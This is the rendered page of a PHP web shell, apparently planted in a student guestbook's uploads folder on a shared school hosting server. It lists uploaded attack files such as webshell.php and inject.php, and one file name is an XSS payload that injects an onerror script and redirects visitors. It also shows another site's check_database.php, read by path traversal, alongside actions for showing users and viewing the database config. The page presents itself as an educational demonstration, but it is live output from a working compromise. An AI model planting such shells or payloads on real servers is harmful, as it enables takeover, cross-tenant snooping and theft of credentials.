🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../585871.klas4s23.mid-ica.nl/public_html/grotevriendelijkereus/check_database.php

<?php
/**
 * Database schema checker - verifies all required columns exist
 */

require_once 'includes/classes/Databases.php';

try {
    $db = Database::getInstance();
    $pdo = $db->getPDO();

    echo "<h2>Database Schema Check</h2>\n";
    echo "<h3>Tasks Table Structure:</h3>\n";

    // Get the tasks table structure
    $stmt = $pdo->query("DESCRIBE tasks");
    $columns = $stmt->fetchAll(PDO::FETCH_ASSOC);

    echo "<table border='1' style='border-collapse: collapse; margin: 20px 0;'>\n";
    echo "<tr style='background: #f0f0f0;'><th>Field</th><th>Type</th><th>Null</th><th>Key</th><th>Default</th><th>Extra</th></tr>\n";

    $requiredColumns = [
        'id', 'title', 'description', 'date', 'end_date', 'start_time',
        'end_time', 'location', 'volunteers_needed', 'is_recurring',
        'recurring_series_id', 'recurrence_type', 'created_at', 'updated_at'
    ];

    $foundColumns = [];

    foreach ($columns as $column) {
        $field = $column['Field'];
        $foundColumns[] = $field;

        // Highlight required recurring columns
        $isRecurringColumn = in_array($field, ['is_recurring', 'recurring_series_id', 'recurrence_type', 'end_date']);
        $style = $isRecurringColumn ? 'background: #e8f5e8;' : '';

        echo "<tr style='$style'>";
        echo "<td><strong>{$column['Field']}</strong></td>";
        echo "<td>{$column['Type']}</td>";
        echo "<td>{$column['Null']}</td>";
        echo "<td>{$column['Key']}</td>";
        echo "<td>{$column['Default']}</td>";
        echo "<td>{$column['Extra']}</td>";
        echo "</tr>\n";
    }
    echo "</table>\n";

    // Check for missing required columns
    $missingColumns = array_diff($requiredColumns, $foundColumns);

    echo "<h3>Column Status Check:</h3>\n";
    echo "<div style='margin: 20px 0;'>\n";

    $recurringColumns = ['is_recurring', 'recurring_series_id', 'recurrence_type', 'end_date'];

    foreach ($recurringColumns as $col) {
        $exists = in_array($col, $foundColumns);
        $icon = $exists ? "✅" : "❌";
        $status = $exists ? "EXISTS" : "MISSING";
        $color = $exists ? "green" : "red";

        echo "<div style='color: $color; margin: 5px 0;'>";
        echo "$icon <strong>$col</strong>: $status";
        echo "</div>\n";
    }

    echo "</div>\n";

    if (empty($missingColumns)) {
        echo "<div style='background: #d4edda; color: #155724; padding: 15px; border-radius: 5px; margin: 20px 0;'>\n";
        echo "<h4>✅ Database Schema is Complete!</h4>\n";
        echo "<p>All required columns for recurring tasks are present in the database.</p>\n";
        echo "<p><strong>Recurring task functionality should now work properly.</strong></p>\n";
        echo "</div>\n";
    } else {
        echo "<div style='background: #f8d7da; color: #721c24; padding: 15px; border-radius: 5px; margin: 20px 0;'>\n";
        echo "<h4>❌ Missing Required Columns:</h4>\n";
        echo "<ul>\n";
        foreach ($missingColumns as $col) {
            echo "<li><strong>$col</strong></li>\n";
        }
        echo "</ul>\n";
        echo "<p>Please add the missing columns to enable full functionality.</p>\n";
        echo "</div>\n";
    }

    // Test the Task class methods
    echo "<h3>Task Class Functionality Test:</h3>\n";

    require_once 'includes/classes/Task.php';
    $taskManager = new Task($pdo);

    echo "<div style='margin: 20px 0;'>\n";

    // Test hasEndDateColumn method
    $hasEndDate = $taskManager->hasEndDateColumn();
    $endDateIcon = $hasEndDate ? "✅" : "❌";
    echo "<div style='margin: 5px 0;'>$endDateIcon <strong>End Date Support:</strong> " . ($hasEndDate ? "Enabled" : "Disabled") . "</div>\n";

    // Test createTask method with recurring parameters
    echo "<div style='margin: 5px 0;'>🔧 <strong>Testing Recurring Task Creation...</strong></div>\n";

    try {
        // Test if we can create a recurring task (dry run - we won't actually create it)
        $reflection = new ReflectionMethod($taskManager, 'createTask');
        $parameters = $reflection->getParameters();

        $hasRecurringParams = false;
        foreach ($parameters as $param) {
            if ($param->getName() === 'recurringSeriesId') {
                $hasRecurringParams = true;
                break;
            }
        }

        $recurringIcon = $hasRecurringParams ? "✅" : "❌";
        echo "<div style='margin: 5px 0;'>$recurringIcon <strong>Recurring Parameters:</strong> " . ($hasRecurringParams ? "Supported" : "Not Supported") . "</div>\n";

    } catch (Exception $e) {
        echo "<div style='color: red; margin: 5px 0;'>❌ <strong>Task Class Error:</strong> " . $e->getMessage() . "</div>\n";
    }

    echo "</div>\n";

    // Check other tables
    echo "<h3>Other Tables:</h3>\n";
    $tables = ['users', 'task_assignments', 'activity_logs'];

    foreach ($tables as $table) {
        try {
            $stmt = $pdo->query("SELECT COUNT(*) as count FROM $table");
            $result = $stmt->fetch();
            echo "<div style='margin: 5px 0;'>✅ <strong>$table:</strong> {$result['count']} records</div>\n";
        } catch (Exception $e) {
            echo "<div style='color: red; margin: 5px 0;'>❌ <strong>$table:</strong> " . $e->getMessage() . "</div>\n";
        }
    }

} catch (Exception $e) {
    echo "<div style='background: #f8d7da; color: #721c24; padding: 15px; border-radius: 5px;'>\n";
    echo "<h4>❌ Database Connection Error:</h4>\n";
    echo "<p>" . $e->getMessage() . "</p>\n";
    echo "</div>\n";
}
?>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!